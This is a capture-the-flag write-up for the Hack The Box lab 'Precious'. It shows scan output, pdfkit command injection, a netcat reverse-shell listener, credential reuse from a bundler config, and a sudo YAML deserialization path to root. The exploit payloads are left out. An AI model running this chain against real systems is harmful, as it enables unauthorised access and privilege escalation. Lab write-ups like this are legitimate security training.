Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-05 18:06 CST
Nmap scan report for 10.10.11.189
Host is up (0.31s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 84:5e:13:a8:e3:1e:20:66:1d:23:55:50:f6:30:47:d2 (RSA)
| 256 a2:ef:7b:96:65:ce:41:61:c4:67:ee:4e:96:c7:c8:92 (ECDSA)
|_ 256 33:05:3d:cd:7a:b7:98:45:82:39:e7:ae:3c:91:a6:58 (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
|_http-server-header: nginx/1.18.0
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.92%E=4%D=12/5%OT=22%CT=1%CU=39026%PV=Y%DS=2%DC=I%G=Y%TM=638E87D
OS:3%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=10C%TI=Z%CI=Z%II=I%TS=A)SEQ
OS:(SP=105%GCD=1%ISR=10C%TI=Z%CI=Z%TS=A)OPS(O1=M537ST11NW7%O2=M537ST11NW7%O
OS:3=M537NNT11NW7%O4=M537ST11NW7%O5=M537ST11NW7%O6=M537ST11)WIN(W1=FE88%W2=
OS:FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M537NNSN
OS:W7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%D
OS:F=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O
OS:=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W
OS:=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%R
OS:IPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 56.25 seconds
/etc/hosts
10.10.11.189 precious.htb
$ nikto -h precious.htb
- Nikto v2.1.5
---------------------------------------------------------------------------
+ Target IP: 10.10.11.189
+ Target Hostname: precious.htb
+ Target Port: 80
+ Start Time: 2022-12-05 18:09:47 (GMT-6)
---------------------------------------------------------------------------
+ Server: nginx/1.18.0 + Phusion Passenger(R) 6.0.15
+ Retrieved x-powered-by header: Phusion Passenger(R) 6.0.15
+ Uncommon header 'x-frame-options' found, with contents: SAMEORIGIN
+ Uncommon header 'x-xss-protection' found, with contents: 1; mode=block
+ Uncommon header 'x-content-type-options' found, with contents: nosniff
+ Uncommon header 'x-runtime' found, with contents: Ruby
+ Uncommon header 'x-cascade' found, with contents: pass
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server banner has changed from 'nginx/1.18.0 + Phusion Passenger(R) 6.0.15' to 'nginx/1.18.0' which may suggest a WAF, load balancer or proxy is in place
Web Server
Heading on over to the web server, we see a pretty simple page. The service contains a text input which expects a URL, and a submit button. On submit, the service will attempt to load the URL and convert that web page to a PDF. Let's try it out.
Sure enough, it converted my simple HTML to a PDF. Let's dig at the PDF.
$ pdfinfo iksnt7830xg5adtacget78ne90kxk44d.pdf
Creator: Generated by pdfkit v0.8.6
Tagged: no
UserProperties: no
Suspects: no
Form: none
JavaScript: no
Pages: 1
Encrypted: no
Page size: 612 x 792 pts (letter)
Page rot: 0
File size: 15785 bytes
Optimized: no
PDF version: 1.4
After some research, I've discovered that pdfkit versions 0.8.7 and below are vulnerable to a command injection attack where the arguments are not properly sanitized. We'll utilize shell command substitution to spin up a reverse shell. Let's try a Python payload from this cheat sheet.
~/htb/labs/Precious $ nc -lvkp 4242
listening on [any] 4242 ...
connect to [10.10.16.52] from precious.htb [10.10.11.189] 42542
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1001(ruby) gid=1001(ruby) groups=1001(ruby)
I'm in. Time to dig. There is another user named henry and the user flag is in his home directory, but we can't access it. There wasn't much in ruby's home directory, although looking through a hidden .bundle directory, we find credentials for henry in a config file. Huh. Alright.
$ cat config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:REDACTED"
$ su henry
Password:
$ id
uid=1000(henry) gid=1000(henry) groups=1000(henry)
Nice. I'm in again. Let's grab the user flag and try our hand on privilege escalation.
Privilege Escalation
Once again, just like in Photobomb, this user has a NOPASSWD entry in sudo privileges that points to a custom script:
$ sudo -l
...
User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
No SETENV though, that's better. Let's check out that script.
/opt/update_dependencies.rb
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'
# TODO: update versions automatically
def update_gems()
end
def list_from_file
YAML.load(File.read("dependencies.yml"))
end
def list_local_gems
Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end
gems_file = list_from_file
gems_local = list_local_gems
gems_file.each do |file_name, file_version|
gems_local.each do |local_name, local_version|
if(file_name == local_name)
if(file_version != local_version)
puts "Installed version differs from the one specified in file: " + local_name
else
puts "Installed version is equals to the one specified in file: " + local_name
end
end
end
end
At first glance, I couldn't see much, apart from that dependencies.yml load as there were no strict checks. I remember looking back at the OWASP Top 10 a few days ago just to catch up to speed. Insecure deserialization, that's it. Alright let's setup our payload to be deserialized.